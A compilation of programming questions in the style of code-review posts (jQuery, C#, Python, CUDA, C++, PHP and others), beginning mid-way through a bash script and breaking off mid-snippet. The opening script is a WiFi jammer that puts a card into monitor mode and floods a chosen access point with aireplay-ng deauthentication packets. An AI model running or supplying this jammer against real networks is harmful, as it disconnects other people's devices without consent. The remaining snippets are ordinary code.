        # The ESSID is the last line of the basic data
        [[ "$line" =~ ESSID ]] && {
            e=${line##*ID:}
            network="finished reading"
        }
    done < <(iwlist wlan0 scanning)
}

# Printing the list of wifi's
function print {
    echo "--------------------------------------------------------"
    for i in "${!mac[@]}"; do
        echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"
    done
}

function jam {
    echo "--------------------------------------------------------"
    echo "Type the number of the wifi to jam"
    read i; echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"

    # Start jamming
    airmon-ng check kill
    airmon-ng start wlan0
    sleep(5)
    timeout 10 aireplay-ng -a ${mac[$i]} --channel ${channel[$i]} --deauth 0 wlan0mon
    airmon-ng stop wlan0mon
}

scan
print
jam


texts:
I have this code, but I not the best to javascript/jQuery so are there any out there who can optimize this code?

$(function(){
    var pos = $("header").offset().top;

    $(document).scroll(function(){
        if($(this).scrollTop() - 10 > pos)
        {
           $('header').addClass("filled");
        } else {
           $('header').removeClass("filled");
        }
    });
});


texts:
I have a class that performs some long-running operation.

This class exposes a Completed event. I'd like clients that use this class to register to get notified ONLY ONCE when the class completes doing its operation.

Would you consider this code appropriate to handle this case:

public class TutorialController
{
    public event Action Complete;

    protected void OnComplete()
    {
        if (Complete != null)
        {
            Complete();
        }

        // Reset to null.
        Complete = null;
    }
}

The usage of "client" code is:

TutorialController controller = new TutorialController();
controller.Complete += ... // Register to get notified.

// Once this is done, it will raise Complete() and clear it.
controller.DoLongOperation();

Due to the current design, the Complete event actually triggers another callback that is passed from the outside:

public void SomeMethod(Action action)
{
    // Code similar to this.
    controller.Complete += () => { action(); };
}

The action passed in is ONLY RELEVANT for the current invocation of the controller, that is - after it would run and complete once, it's no longer needed to notify me of this event (with the current "action" parameter). The next invocation will pass its own action, and so on.

Note that the event sender is an object that is kept around throughout the lifetime of the app, otherwise it would be collected and each time I would get a new copy and register on its event.


texts:
I'll have to move a large network directory with many sub-directories and thousands of files. A number of users work on these files on a daily basis. OS is windows.

The move itself (copy and delete) I'll do using robocopy.

Before starting the batch process of moving, I would like to check for locked files. In case some files or folders are locked, I won't bother starting the process.

robocopy has a dry run switch, but that doesn't check for locked files which would lead to an unsuccessful run.

I quickly came up with something like the below, in Python:

import os

is_locked=list()

for root, dirnames, filenames in os.walk('path/to/directory'):
    for filename in filenames:
        full_filename = os.path.join(root, filename)
        try:
            pf = open(full_filename, 'a')
            pf.close()
        except PermissionError:
            is_locked.append(full_filename)

Your opinion whether this is a good or bad way of doing it? Any general comment?
Performance, etc?

Is it harmless to be opening these files?

--- edit ---

Summary of the most relevant comments:

Break the loop when first locked file is found.


texts:
I designed this CUDA kernel to compute a function on a 3D domain:

p and Ap are 3D vectors that are actually implemented as a single long array:

__global__ void update(P_REAL* data, P_REAL* tmp, P_REAL* f, P_REAL* reduced,
       const unsigned int sizeX,const unsigned int sizeY,const unsigned int sizeZ,
       const P_REAL aX, const P_REAL aY, const P_REAL aZ, const P_REAL aF,
       const P_REAL cX, const P_REAL cY, const P_REAL cZ){

extern __shared__ P_REAL s_pAp[];

// Get grid size
unsigned int gY((sizeY-2)/blockDim.y),gZ((sizeZ-2)/blockDim.z);

unsigned int idX(blockDim.x*blockIdx.x+threadIdx.x+1);
unsigned int idY(blockDim.y*blockIdx.y+threadIdx.y+1);
unsigned int idZ(blockDim.z*blockIdx.z+threadIdx.z+1);

unsigned int sX(sizeY*sizeZ);
unsigned int i((idX*sizeY+idY)*sizeZ+idZ);
unsigned int bi((threadIdx.x*blockDim.y+threadIdx.y)*blockDim.z+threadIdx.z);

Ap[i]=cX*(p[i-sX]+p[i+sX]-2.0f*p[i])
     +cY*(p[i-sizeZ]+p[i+sizeZ]-2.0f*p[i])
     +cZ*(p[i-1]+p[i+1]-2.0f*p[i]);
s_pAp[bi] = Ap[i]*p[i];

// Wait for all threads
__syncthreads();

Reduction of s_pAp (to be summed):

// Take advantage of the geometry of the block
// At each iteration, there are 7 points to consider
// Use byte-shift to ease division by 2

for(int offset = blockDim.x/2;offset>0;offset>>=1){
    if(threadIdx.x < offset && threadIdx.y < offset && threadIdx.z < offset){
        s_pAp[bi]+=s_pAp[bi+offset]+s_pAp[bi+offset*blockDim.z]+s_pAp[bi+offset*blockDim.z*blockDim.y]
                +s_pAp[bi+offset*(1+blockDim.z)]
                +s_pAp[bi+offset*(1+blockDim.z*blockDim.y)]
                +s_pAp[bi+offset*blockDim.z*(1+blockDim.y)]
                +s_pAp[bi+offset*(1+blockDim.z*(1+blockDim.y))];
    }

    // Wait for all threads
    __syncthreads();
}

// Write final result with (0,0,0) thread
if(threadIdx.x==0 && threadIdx.y==0 && threadIdx.z == 0){
    reduced[(blockIdx.x*gY+blockIdx.y)*gZ+blockIdx.z] = s_pAp[0];

}
}

This works like a charm, but when profiling I get awful performance. Could I get some insight on how to improve this code?


texts:
This is my solution for the leetcode reverse int question:

  Given a 32-bit signed integer, reverse digits of an integer.

  Example 1:

  Input: 123 Output: 321 Example 2:

  Input: -123 Output: -321 Example 3:

  Input: 120 Output: 21 Note: Assume we are dealing with an environment
  which could only store integers within the 32-bit signed integer
  range: [−2^31,  2^31 − 1]. For the purpose of this problem, assume that
  your function returns 0 when the reversed integer overflows.

using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;

namespace ArrayQuestions
{
    /// <summary>
    /// Given a 32-bit signed integer, reverse digits of an integer.
    ///
    /// Example 1:
    ///
    /// Input: 123
    /// Output: 321
    /// Example 2:
    ///
    /// Input: -123
    /// Output: -321
    /// Example 3:
    ///
    /// Input: 120
    /// Output: 21
    /// Note:
    /// Assume we are dealing with an environment which could only store integers within the 32-bit signed integer range: [−231,  231 − 1]. For the purpose of this problem, assume that your function returns 0 when the reversed integer overflows.
    /// </summary>
    [TestClass]
    public class UnitTest1
    {
        [TestMethod]
        public void TestMethod1()
        {
            int temp = 1534236469;
            int result = Reverse(temp);
            Assert.AreEqual(0, result);
        }

        [TestMethod]
        public void TestMethod2()
        {
            int temp = 123;
            int result = Reverse(temp);
            Assert.AreEqual(321, result);
        }
        public int Reverse(int x)
        {
            int result = 0;
            bool negative = false;
            if (x < 0)
            {
                negative = true;
                x = -x;
            }

            int prevRevNum = 0;
            while (x != 0)
            {
                int currentDigit = x % 10;
                result = (result * 10) + currentDigit;

                if ((result - currentDigit) / 10 != prevRevNum)
                {
                    return 0;
                }
                prevRevNum = result;
                x = x / 10;
            }

            if (negative)
            {
                return -result;
            }

            return result;
        }
    }
}

This is the output:

  Runtime: 52 ms, faster than 62.65% of C# online submissions for Reverse Integer.

Can you please comment on how can I make this code run faster? I guess the modulo and division are the key factors of speed here.


texts: Submitting form after validations using jQuery

texts:
This is my simple jQuery form validation/submit logic and it is working perfectly fine. But still I am posting this to see if someone check the logic and suggest me if there is any other simple way to get the same results.

In my form I put all input boxes and select into .valid1 class, all checkbox and radio buttons to .valid2 class. I am just wondering is there any way we can do this by putting all input sources under a single class.

    $(document).ready(function(){

        $("#sbutton").click(function(){
           var submitflag = false;
           var validflag = true;
           validform();
//           alert(submitflag);
           if (submitflag){
              $("form").submit();
           }
           function validform(){
              $(".valid1").each(function(){
                 if ($(this).find("input").val() === ''){
//                    alert("I am input");
                    $(this).find(".error1").html($(this).find("label").html() +" " + "is required");
                    validflag = false;
                 }else{
                    $(this).find(".error1").html("");
                 }
                 if ($(this).find("select").val() === ''){
//                    alert("I am select");
                    $(this).find(".error2").html($(this).find("label").html() +" " + "is required");
                    validflag = false;
                 }else{
                    $(this).find(".error2").html("");
                 }

              });
              $(".valid2").each(function(){
                 if (!$(this).find("input:checked").val()){
//                    alert("I am cbox");
                    $(this).find(".error3").html($(this).find("label").html() +" " + "is required");
                    $(this).find(".error4").html("Agree terms and conditions");
                    validflag = false;
                 }else{
                    $(this).find(".error3, .error4").html("");
                 }
              });
              if(validflag){submitflag = true;}
           }
         });
});


texts: Systematically reordering parts of street names and replacing abbreviations

texts:
I'm working on cleaning up the openstreetmap data, hope to make it more concise.
The goal is to change the following street name in two parts:

check to see if (S) is at the end of the name
If yes, change (S) to South
Move South to the front
Check again, change Rd. to Road

  Lintao Rd. (S) => South Lintao Road

This is what I have for now. It's working fine, but I feel like going over too many steps. How to best shorten the process? Since there will be hundreds of thousands record. Best to speed up if possible.

street_type_re = re.compile(r'\b\S+\.?$', re.IGNORECASE) #check the last part of the street
ewsn_street_re = re.compile(r"\(([ewsn]|.)*\)", re.IGNORECASE) #check if street end has (S) and similar parts.

if eswn:
        if eswn.group() in mapping.keys():
            better_street_type = mapping[eswn.group()]
            better_name = ewsn_street_re.sub(better_street_type, name)
        st_list = better_name.split() #split name into list
        old_end = st_list[-1] #store the old last part
        del st_list[-1] #del the old part
        st_list.insert(0, old_end)
        not_better_name = ' '.join(st_list)
        d = street_type_re.search(not_better_name)
        #another round change the Rd. into Rod
        if d:
            if d.group() in mapping.keys():
                better_street_type = mapping[d.group()]
                better_name = street_type_re.sub(better_street_type, not_better_name)


texts:
Consider my simple business requirement as follows:
There is a list of talks and they need to be scheduled in tracks. Each track has a morning session starting at 9am and an afternoon session starting at 1pm ending by 4pm and a lunch break from 12pm to 1pm.
Given: A list of talks - Talk.txt

Python session 90min
Java session 75min
Blender session 120min

When: I call by business implementation
Then: It gives the list of scheduled track

Track 1:
9:00am Python session
10:30am Java session
12:00pm Lunch
1:00pm Blender session

Now to approach this problem I want to design a contract that expect to return the final result. Besides I'm thinking some of the future (or possible) business requirement changes.

Presentation of the schedule has changed to "Java session at 10:30am"

In above expected output there is a gap of 15 mins between lunch and the previous talk

Perhaps the morning session's start time has changed to 10am

The simplest way to designing the contract that I have in my mind is:
public interface IScheduleTalk
{
    List<string> GetScheduledTalk(List<string> usrInput)
}

But it does not help me with the above problems, and then I have change the contract if any the requirement changes in above mentioned way. Besides it does not address the gap.
I went to redesign my contract and have come up with below two approaches:
1st being:
public class Track
{
    public int TrackNumber { get; set; }
    public Dictionary<Slot, string> ScheduledTalks { get; set; }
}

public class Slot
{
    public string ScheduledTime { get; set; }
    public int DurationInMin { get; set; }
}

public interface IScheduleTalk
{
    List<Track> GetScheduledTalk(List<string> talks);
}

And the 2nd is:
public class Track
{
    public int TrackNumber { get; set; }
    public Dictionary<string, Talk> ScheduledTalks { get; set; } //Dictionary TKey represents the schedule time such as "9:00am"
}

public class Talk
{
    public int DurationInMin {get; set;}
    public string TalkName {get; set;}
}

public interface IScheduleTalk
{
    List<Track> GetScheduledTalk(List<string> talks);
}

I need a suggestion which one should I use as the contract. Or if there is/are better way to do it.


texts: Calling an Oracle Stored Procedure with C# Code

texts:
I came across this code in a project I inherited. I am curious if all the nested using statements make sense to anyone else. Also, wondering if this code could not be written in a better/leaner way?

    private static Dictionary<string, List<string>> GetSubscriptionKeyList(string proc)
    {
        var addResults = new List<string>();
        var deleteResults = new List<string>();

        using (var conn = new OracleConnection(conStr))
        {
            conn.Open();
            using (var cmd = new OracleCommand(proc, conn))
            {
                cmd.CommandType = CommandType.StoredProcedure;

                using (var adds = new OracleParameter
                {
                    ParameterName = "p_add",
                    OracleDbType = OracleDbType.RefCursor,
                    Direction = ParameterDirection.Output,
                    Value = DBNull.Value
                })
                {
                    using (var deletes = new OracleParameter
                    {
                        ParameterName = "p_delete",
                        OracleDbType = OracleDbType.RefCursor,
                        Direction = ParameterDirection.Output,
                        Value = DBNull.Value
                    })
                    {
                        cmd.Parameters.Add(adds);
                        cmd.Parameters.Add(deletes);

                        using (var rdr = cmd.ExecuteReader())
                        {
                            while (rdr.Read())
                            {
                                addResults.Add(rdr.GetString(0));
                            }
                            rdr.NextResult();
                            while (rdr.Read())
                            {
                                deleteResults.Add(rdr.GetString(0));
                            }

                        }
                    }
                }
            }
            conn.Close();
        }
        var result = new Dictionary<string, List<string>>
                         {
                             {"Adds", addResults},
                             {"Deletes", deleteResults}
                         };
        return result;
    }


texts: Deleting a child of aggregate root in DDD

texts:
Consider this code, that uses EF Core wrapped inside the unitOfWork to manage the database:
public class UnitOfWork
{
    private readonly Context DbContext;

    public async Task SaveChangesAsync(CancellationToken cancellationToken)
            => await DbContext.SaveChangesAsync(cancellationToken);

    public UnitOfWork(Context context)
    {
        this.DbContext = context ?? throw new ArgumentNullException(context.GetType().Name);
    }

    public async Task<AggregateRoot> GetAggregateRootByIdAsync(int id, CancellationToken cancellationToken)
        => await DbContext.AggregateRoots.FirstOrDefaultAsync(i => i.Id == id, cancellationToken);
}

public class Controller
{
    private UnitOfWork unitOfWork;
    public Controller(UnitOfWork unitOfWork)
    {
        this.unitOfWork = unitOfWork;
    }

    [HttpDelete]
    [Route("{aggregateRootId}/child/{childId}")]
    public async Task<IActionResult> Delete([FromRoute] int aggregateRootId, [FromRoute]int childId, CancellationToken cancellationToken)
    {
        var aggregateRoot = await unitOfWork.GetAggregateRootByIdAsync(aggregateRootId, cancellationToken);
        if(aggregateRoot is null)
            return BadRequest("Not Found");

        if (!aggregateRoot.RemoveChildById(childId))
            return BadRequest("Not found");

        await unitOfWork.SaveChangesAsync(cancellationToken);
        return Ok();
    }
}

Here, AggregateRoot contains the method to delete its child, due to the principle of

All changes to the data must be done through the aggregate roots

so as you can see, there will be a redundant select of the aggregate root along with all the children that seems to be useless.
What do you think about this code and the mentioned problem above? Is there any way to improve it?


texts: Fun with CallerLineNumberAttribute: clever hack or terrible idea?

texts:
One fun feature that was added (fairly) recently in .NET is the [CallerLineNumber] attribute, which, in conjunction with [CallerFilePath] and [CallerMemberName] can allow for some very nice logging methods.

I was thinking today, though, that they might be used for another interesting purpose.  Consider the case where you have some event that should trigger on a Boolean transition.  The classic implementation for this uses a field to keep track of the 'last state', then updates the field after performing the check.  The annoying thing, though, is that you need a flag for every case and each flag needs a name.  So I thought of something like this:

public sealed class IndexedBuilder<T>
    where T : class, new()
{
    private readonly Dictionary<int, T> _instances = new Dictionary<int, T>();

    public T Build(int index)
    {
        T instance;

        lock (_instances)
        {
            if (!_instances.TryGetValue(index, out instance))
            {
                instance = new T();
                _instances.Add(index, instance);
            }
        }

        return instance;
    }
}

public sealed class TransitionDetector
{
    private readonly IndexedBuilder<Context> _builder = new IndexedBuilder<Context>();

    public bool DetectUp(bool state, [CallerLineNumber] int lineNumber = 0)
    {
        return _builder.Build(lineNumber).DetectUp(state);
    }

    public bool DetectDown(bool state, [CallerLineNumber] int lineNumber = 0)
    {
        return _builder.Build(lineNumber).DetectDown(state);
    }

    private sealed class Context
    {
        private bool? _lastState;

        public bool DetectUp(bool state)
        {
            bool result = state && (_lastState == false);
            _lastState = state;
            return result;
        }

        public bool DetectDown(bool state)
        {
            bool result = !state && (_lastState == true);
            _lastState = state;
            return result;
        }
    }
}

public static class Program
{
    public static void Main()
    {
        var detector = new TransitionDetector();

        int x = 0;
        int y = 0;
        while (x < 10000)
        {
            if (detector.DetectUp(y > 100))
                Console.WriteLine("y > 100");

            if (detector.DetectDown(x < 500))
                Console.WriteLine("x >= 500");

            y++;
            x++;

            if (y > 1000)
                y = 0;
        }

        Console.ReadLine();
    }
}

This is a specific example of the more general pattern of allowing an instance to be bound to a particular location in the code, without explicitly naming or referencing the instance.  The biggest issue I see is that this breaks down if you attempt to perform multiple calls on the same line in the code or if you pass the TransitionDetector instance such that it gets called from another file, which means documentation required and there is a significant potential for incorrect use.


texts: HackerRank: Friend Circles (DFS in Java)

texts:
I got this problem on a HackerRank challenge and this was the best I could come up with. It's basically just using DFS to find connected components (in this case, friend circles). I was having a tough time figuring out how to track unvisited nodes. Please let me know how I can improve this code. It appears to work, but the test cases given were quite simple.

Problem:

There are N students in a class. Some of them are friends, while some are not. Their friendship is transitive in nature, i.e., if A is friend of B and B is friend of C, then A is also friend of C. A friend circle is a group of students who are directly or indirectly friends.

You have to complete a function int friendCircles(char[][] friends) which returns the number of friend circles in the class. Its argument, friends, is a NxN matrix which consists of characters "Y" or "N". If friends[i][j] == "Y" then i-th and j-th students are friends with each other, otherwise not. You have to return the total number of friend circles in the class.

Sample Input 0:
4
YYNN
YYYN
NYYN
NNNY
Sample Output 0:
2

Explanation 0:
There are two pairs of friends [0, 1] and [1, 2]. So [0, 2] is also a pair of friends by transitivity.
So first friend circle contains (0, 1, 2) and second friend circle contains only student 3

Sample Input 1:
5
YNNNN
NYNNN
NNYNN
NNNYN
NNNNY
Sample output 1:
5

Constraints (sorry, couldn't get formatting down so I had to put the constraints down here):

1 <= N <= 300.
Each element of matrix friends will be "Y" or "N".
Number of rows and columns will be equal in friends.
friends[i][j] = "Y", where 0 <= i < N.
friends[i][j] = friends[j][i], where 0 <= i < j < N.

Solution:

import java.util.ArrayDeque;
import java.util.Deque;
import java.util.HashSet;
import java.util.Set;

public class Solution {
    public static int friendsCircle(char[][] friends) {
        // The only alternative I could think of, instead of
        // tracking unvisited nodes, was to put visited nodes
        // in a set and then do setOfAllNodes.removeAll(visited)
        // to see which nodes are still unvisited
        Set<Integer> unvisited = new HashSet<>();
        boolean[] visited = new boolean[friends.length];
        Deque<Integer> stack = new ArrayDeque<>();
        int connectedComponents = 0;
        for (int i = 0; i < friends.length; i++) {
            unvisited.add(i);
        }
        // dfs on friends matrix
        while (!unvisited.isEmpty()) {
            stack.push(unvisited.iterator().next());
            connectedComponents++;
            while (!stack.isEmpty()) {
                int currVertex = stack.pop();
                if (visited[currVertex] == false) {
                    visited[currVertex] = true;
                    unvisited.remove(currVertex);
                    for (int i = 0; i < friends[currVertex].length; i++) {
                        if (friends[currVertex][i] == 'Y' && visited[i] == false) {
                            stack.push(i);
                        }
                    }
                }
            }
        }
        return connectedComponents;
    }

    public static void main(String[] args) {
        char[][] friends = {
                {'Y','Y','N','N'},
                {'Y','Y','Y','N'},
                {'N','Y','Y','N'},
                {'N','N','N','Y'}
        };
        System.out.println(friendsCircle(friends));
    }
}


texts: Cancel running Task on Dispose and race condition

texts:
I'm building a wrapper around NamedPipeServerStream and NamedPipeClientStream. Currently my Connect() method on the Client looks like this:

    public async Task Connect(CancellationToken cancellationToken = default(CancellationToken))
    {
        var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, _connectCancellationTokenSource.Token);

        await _pipe.ConnectAsync(cts.Token).ConfigureAwait(false);

        lock (_lock)
        {
            if (_pipe.IsConnected)
            {
                _connectCancellationTokenSource.Dispose();
                _connectCancellationTokenSource = null;
                _pipe.ReadMode = PipeTransmissionMode.Message;
                Connection.Set();
                Connected?.BeginInvoke(this, EventArgs.Empty, x => ((EventHandler)x.AsyncState).EndInvoke(x), Connected);

                BeginRead();
            }
        }
    }

and my Dispose(bool) like this:

    protected override void Dispose(bool disposing)
    {
        lock (_lock)
        {
            _connectCancellationTokenSource?.Cancel();
            base.Dispose(disposing);
        }
    }

with the base.Dispose(bool) looking like this:

    protected virtual void Dispose(bool disposing)
    {
        if (!disposing) return;

        Connection.Reset();
        _pipe.Dispose();
        Connection.Dispose();

        _disposed = true;
    }

Basically I can't invoke Dispose(bool) while the connection Task is still running and waiting for it to finish is not an option as it might literally run forever.

My workaround was to create a linked CancellationTokenSource and use its token as the CancellationToken for the Task, allowing me to cancel it myself on Dispose().

I then had a race condition where it was entirely possible that the client would connect and pass the if (_pipe.IsConnected) only to be disposed of immediately after, causing it to throw on BeginRead() (which also uses _pipe), hence the lock on both Connect() and Dispose()

However I'm not entirely sure that my approach is really all that sane, and looking for either some validation or ways I could improve this. I'm also concerned I might be putting a bit too much inside the lock...


texts: Code for showing installed python packages/modules

texts:
Any comments about style (especially any "non-pythonic" code), performance, readability, etc would be much appreciated! I've tested this on CentOS and OSX 10.9. Works for Python 2.7 and 3.

#!/usr/bin/env python
#
# This script will run on Python 2.7.x and later
#
# By default, iter_modules looks in sys.path which is initialized from
# the environment variable PYTHONPATH, plus an installation-dependent default.
from pkgutil import iter_modules
import sys

def parse_command_line():
    import argparse # added to Python 2.7 to replace optparse
    python_version = sys.version
    parser = argparse.ArgumentParser(description='Use this script to view the installed packages and/or modules for Python version: '+python_version)
    parser.add_argument('--type',dest='list_type',type=str,default='packages',help='Can be \'packages\' (default), \'modules\', or \'both\'')
    parser.add_argument('--ncols',type=int,default=2,help='Number of columns in output (default: 2)')
    args = parser.parse_args()
    return args

def select_packages():
    return [ module[1:] for module in iter_modules() if module[2] ],'Packages'

def select_modules():
    return [ module[1:] for module in iter_modules() if not module[2] ],'Modules'

def select_both():
    return [ module[1:] for module in iter_modules() ],'Packages and Modules'

options = { 'packages' : select_packages,
            'modules' : select_modules,
            'both' : select_both,
}

def get_printed_names(pack_tuple):
    p_name = []
    for code in pack_tuple:
        if ( code[1] ):
            p_name.append(code[0]+' (Package)')
        else:
            p_name.append(code[0]+' (Module)')
    return p_name

def fmt_cols(my_list, cols):
    import math
    max_width = max(map(lambda x: len(x), my_list))
    col_length = int(math.ceil(len(my_list)/cols+1))
    justify_list = list(map(lambda x: x.ljust(max_width), my_list))
    lines = [ ' '.join(justify_list[i::col_length]) for i in range(col_length) ]
    print("\n".join(lines))

def sort_func(a_str):
    tmp_str = a_str.lower() # fine with ASCII subset of characters
    for index,letter in enumerate(a_str):
        if letter == '_':
            continue
        else:
            return tmp_str[index:]

# main()
arguments = parse_command_line()
detail_level = arguments.list_type
try:
    installed_code,tag = options[detail_level]()
except KeyError:
    print('Error: detail_level argument must be \'packages\', \'modules\', or \'both\'')
    sys.exit()

ncols = arguments.ncols
print('\nFor output options type \'python_pkginfo.py -h\'')
print('\nInstalled '+tag+' for Python version '+sys.version+':\n')
print('To see package versions try: pip freeze | sort')
print('after issuing the appropriate \"setpkgs -a python\" command\n')
print_list = get_printed_names(installed_code)
print_list.sort(key=sort_func)
fmt_cols(print_list,ncols)


texts: Calculating quiz score, with weights and partial credit

texts:
There is a quiz-game with simple rules. You have to guess one of three options. Each option has a particular weight, for example:

Option 1: 20 points
Option 2: 30 points
Option 3: 50 points

If player guesses the right option, he gets all amount of points. If not, he gets a part of those points:

 User choice || Right Answer || Score
      1             1            100%
      2             1            75%
      3             1            50%
      1             2            75%
      2             2            100%
      3             2            75%
      1             3            25%
      2             3            50%
      3             3            100%

You can easilly write a method to calculate score:

calcRateScore: function(fact, user) {

    var rateScore = 0;

    switch (fact) {
        case 1:
            switch (user) {
                case 1:
                    rateScore = 20;
                    break;
                case 2:
                    rateScore = 20 * 0.75;
                    break;
                case 3:
                    rateScore = 20 * 0.5;
                    break;
            }
            break;
        case 2:
            switch (user) {
                case 1:
                    rateScore = 30 * 0.75;
                    break;
                case 2:
                    rateScore = 30;
                    break;
                case 3:
                    rateScore = 30 * 0.75;
                    break;
            }
            break;
        case 3:
            switch (user) {
                case 1:
                    rateScore = 50 * 0.25;
                    break;
                case 2:
                    rateScore = 50 * 0.5;
                    break;
                case 3:
                    rateScore = 50;
                    break;
            }
            break;
    }

    return rateScore;
}

It works, but it looks horrible. How do I get rid of all this switch statements?


texts: C++ implementation of the observer design pattern

texts:
Started learning design patterns using C++. Below is an implementation of the Observer Pattern. Two abstract class templates Observer and Subject define the required interfaces. Two specific implementation ConcreteObserver and ConcreteSubject are defined to test the interfaces (I have not found good generic real-life examples that I like for the Observer Pattern, and so decided to go with ConcreteWhatever).

In this implementation, the subject pushes the state change to the observers.

#include <iostream>
#include <set>

// interfaces

template <typename T>
class Observer {
public:
    virtual void update(T subjectState)=0;
};

template <typename T>
class Subject {
public:
    virtual void registerObserver(Observer<T>* ptr_observer) = 0;
    virtual void unregisterObserver(Observer<T>* ptr_observer) = 0;
    virtual void notifyObservers() = 0;
};

// implementations

template <typename T>
class ConcreteObserver : public Observer<T> {
    Subject<T>* ptr_subject;
    T subjectState;
public:
    ConcreteObserver(Subject<T>* ptr_subject) : ptr_subject(ptr_subject) {
        std::cout << "Concrete observer " << this << " created to observe " << ptr_subject << std::endl;
        ptr_subject->registerObserver(this);
    }

    void update(T subjectState) {
        this->subjectState = subjectState;
        std::cout << "Observer " << this << " notified of subject " << ptr_subject << " state change to " << subjectState << std::endl;
    }

    void currentSubject(Subject<T>* ptr_subject) {
        ptr_subject->registerObserver(this);
        this->ptr_subject = ptr_subject;
    }

    ~ConcreteObserver() {
        ptr_subject->unregisterObserver(this);
    }
};

template <typename T>
class ConcreteSubject : public Subject<T> {
    std::set<Observer<T>*> observers;
    T state;
public:
    ConcreteSubject(T state) : state(state) {
        std::cout << "Concrete subject " << this << " created with state " << state << std::endl;
    }

    void registerObserver(Observer<T>* ptr_observer) {
        observers.insert(ptr_observer);
        std::cout << "Subject " << this << " registered observer " << ptr_observer << std::endl;
    }

    void unregisterObserver(Observer<T>* ptr_observer) {
        observers.erase(ptr_observer);
        std::cout << "Subject " << this << " unregistered observer " << ptr_observer << std::endl;
    }

    void notifyObservers() {
        for (std::set<Observer<T>*>::iterator iter = observers.begin(); iter != observers.end(); iter++) {
            (*iter)->update(state);
        }
    }

    void stateChanged() {
        notifyObservers();
    }

    T getState() {
        return state;
    }

    void setState(T state) {
        this->state = state;
        std::cout << "State of subject " << this << " changed to " << state << std::endl;
        stateChanged();
    }
};

int main() {
    std::cout << "Testing Subject-Observer implementation:" << std::endl;

    ConcreteSubject<int>* ptr_subject = new ConcreteSubject<int>(42);

    ConcreteObserver<int>* ptr_observer_1 = new ConcreteObserver<int>(ptr_subject);
    ConcreteObserver<int>* ptr_observer_2 = new ConcreteObserver<int>(ptr_subject);
    ConcreteObserver<int>* ptr_observer_3 = new ConcreteObserver<int>(ptr_subject);

    ptr_subject->setState(19);

    ptr_subject->unregisterObserver(ptr_observer_3);

    ptr_subject->setState(13);

    delete ptr_subject;

    getchar();
}


texts: Syntax Checker C++ Data Structure - Stack

texts:
Syntax Checker is a very common question of c++ programming using the data structure stack. However, this is the advanced level base on this question I found in a reference book. Here is the question:

Base on the question checking the string parentheses balance, the output is to print “Success” if all the brackets [] {} () are matched. Otherwise, print
"fail"

Sample Input:
{[()]()}[] //Output:Success
{}([[] //Output:3
{}([[]}] //Output:7
{}{(]} //Output:5
{}{](} //Output:4
( [43]( i++ ; ) ) { lol = 3 ; }  //Output:Success

My code as follow:

#include<iostream>
#include<stack>
#include<string>

bool arePair(char start, char end)
{
    if (start == '(' && end == ')') return true;
    else if (start == '{' && end == '}') return true;
    else if (start == '[' && end == ']') return true;
    return false;
}
bool areParanthesesBalanced(std::string exp)
{
    std::stack<char>  S;
    for (int i = 0; i < exp.size(); i++)
    {
        char c = exp.at(i);
        if (c == '(' || c == '{' || c == '[')
            S.push(exp.at(i));
        else if (c == ')' || c == '}' || c == ']')
        {
            if (S.empty()|| !arePair(S.top(), c)) {
                return false;
            }
            else {
                S.pop();
            }
        }
    }
    return S.empty() ? true : false;
}
int main(){
    std::string input;
    while (std::getline(std::cin, input)) {
        if (areParanthesesBalanced(input))
            std::cout << "Success"<< std::endl;
        else
            std::cout << "Fail" << std::endl;
    }
    return 0;
}


texts: Scraping and using JSON data from thousands of files in a directory

texts:
I have a few thousand json files containing order histories sitting in a directory from one of our systems. Since customers can opt in to receive marketing I'm opening each json file and then processing the data to scrape our active subscribers. At a later date I plan to expand this to bring this data into our CRM.

As I'm not a Python programmer by trade so I'm wondering what I could do better to make this more functional and (for lack of a better term) 'pythonic'?

import sys, os, json
import pandas as pd

print("Scraping E-mail Subscribers")
print("Using Python version %s.%s.%s" % sys.version_info[:3])

json_path = 'D:/dev/order_archive/'
json_files = [pos_json for pos_json in os.listdir(json_path) if pos_json.endswith('.json')]

records = 0
opted_records = 0
unopted_records = 0

for index, js in enumerate(json_files):
    with open(os.path.join(json_path, js)) as json_file:
        records += 1
        json_text = json.load(json_file)
        first_name = json_text['details']['firstName']
        last_name = json_text['details']['surname']
        newsletter_opt_in = json_text['details']['questions']['newsletterOptIn']
        email = json_text['details']['email']

        if(newsletter_opt_in == 'true'):
            print('Name: %s\nE-mail: %s\n\n' % (first_name + ' ' + last_name, email))
            opted_records += 1
        elif(newsletter_opt_in != 'false'):
            unopted_records += 1

print('Processed %d records. %d opted to receive e-mail marketing. %d didn''t specify an option.' % (records, opted_records, unopted_records))


texts:
I've written a custom PHP session class for handling sessions across the web app. Please review the code and point out mistakes and suggest better handling techniques.

require_once('config.php');

class Sessions {

protected $sessionID;

public function __construct(){
    if( !isset($_SESSION) ){
        $this->init_session();
    }
    //session_start();
    //$this->sessionID = session_id();
}

public function init_session(){
    session_start();
}

public function set_session_id(){
    //$this->start_session();
    $this->sessionID = session_id();
}

public function get_session_id(){
    return $this->sessionID;
}

public function session_exist( $session_name ){
    if( isset($_SESSION[$session_name]) ){
        return true;
    }
    else{
        return false;
    }
}

public function create_session( $session_name , $is_array = false ){
    if( !isset($_SESSION[$session_name])  ){
        if( $is_array == true ){
            $_SESSION[$session_name] = array();
        }
        else{
            $_SESSION[$session_name] = '';
        }
    }
}

public function insert_value( $session_name , array $data ){
    if( is_array($_SESSION[$session_name]) ){
        array_push( $_SESSION[$session_name], $data );
    }
}

public function display_session( $session_name ){
    echo '<pre>';print_r($_SESSION[$session_name]);echo '</pre>';
}

public function remove_session( $session_name = '' ){
    if( !empty($session_name) ){
        unset( $_SESSION[$session_name] );
    }
    else{
        unset($_SESSION);
        //session_unset();
        //session_destroy();
    }
}

public function get_session_data( $session_name ){
    return $_SESSION[$session_name];
}

public function set_session_data( $session_name , $data ){
    $_SESSION[$session_name] = $data;
}

}


texts: Longest palindrome in a given string using LINQ

texts:
Problem:I need to write an algorithm that will return length of longest possible palindrome from a given string.

So if the input is aabbbccdfg
Program output should be 7. //-->[cabbbac]

Can someone point it out if there are any problems with below code?

public static void GetLongestPalindromeLength()
    {
        var input = Console.ReadLine().ToCharArray();
        var result = 0;
        var countsByChar = input.GroupBy(c => c);
        var oddCounts = countsByChar.Where(g => g.Count() % 2 != 0).Select(g => g.Count()).ToList();
